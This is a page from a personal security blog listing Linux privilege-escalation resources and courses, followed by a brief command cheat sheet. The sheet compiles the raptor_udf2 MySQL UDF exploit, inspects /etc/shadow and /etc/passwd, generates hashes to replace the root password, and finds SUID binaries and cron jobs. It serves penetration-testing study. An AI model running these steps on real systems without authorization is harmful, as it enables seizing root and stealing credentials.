syselement's Blog
⌘Ctrlk
🏠 Home BlogXGitHub📚 Buy Me a Book📧 Contact
syselement's Blog
  • 🏠Home
    • 🐧Linux
    • 🪟Windows
    • Practical Networking
    • TCM Security
    • 📌Generic Resources
    • 📱Mobile
    • 🧬Network
      • Commands
        • Linux Privesc Commands
        • Networking Commands
      • WiFi
    • 🌐Web
    • ✍️Writeups & Walkthroughs
    • 🔗DevOps Resources
    • 🖥️Hypervisors
    • 🔴Offensive Labs
    • 🔵Defensive Labs
    • ⚪Misc Labs
Powered by GitBook
For the complete documentation index, see llms.txt. This page is also available as Markdown.
Edit
  1. 🖥️Cyber Everything
  2. 🧬Network
  3. Commands

Linux Privesc Commands


🌐 Resources 🔗

  • Ignitetechnologies/Privilege-Escalation

  • Linux - Privilege Escalation - Internal All The Things

  • PEASS-ng/linPEAS

  • Basic Linux Privilege Escalation - g0tmi1k

  • Linux Privilege Escalation – Resources – Siren Security

  • unix-privesc-check | pentestmonkey

  • TryHackMe | Linux Privilege Escalation

  • Privilege Escalation on Linux (With Examples)

Courses

  • Linux Privilege Escalation for OSCP & Beyond! | Tib3rius (One-Time Purchase)

  • Linux Privilege Escalation | TCM Security, Inc.


...


PreviousCommands
NextNetworking Commands

Last updated 3 months ago

# https://www.exploit-db.com/exploits/1518
cd /home/user/tools/mysql-udf
gcc -g -c raptor_udf2.c -fPIC
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
ls -l /etc/shadow
# Bruteforce hashes or if world-writable, generate new password and replace root pw
mkpasswd -m sha-512 pwhere

ls -l /etc/passwd
# If world-writable, generate new password and replace root pw
openssl passwd pwhere
sudo -l
# https://gtfobins.github.io/

cat /etc/crontab
# check file/scripts permissions, path environment variable
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
find / -type f -perm -4000 2>/dev/null

# https://www.exploit-db.com/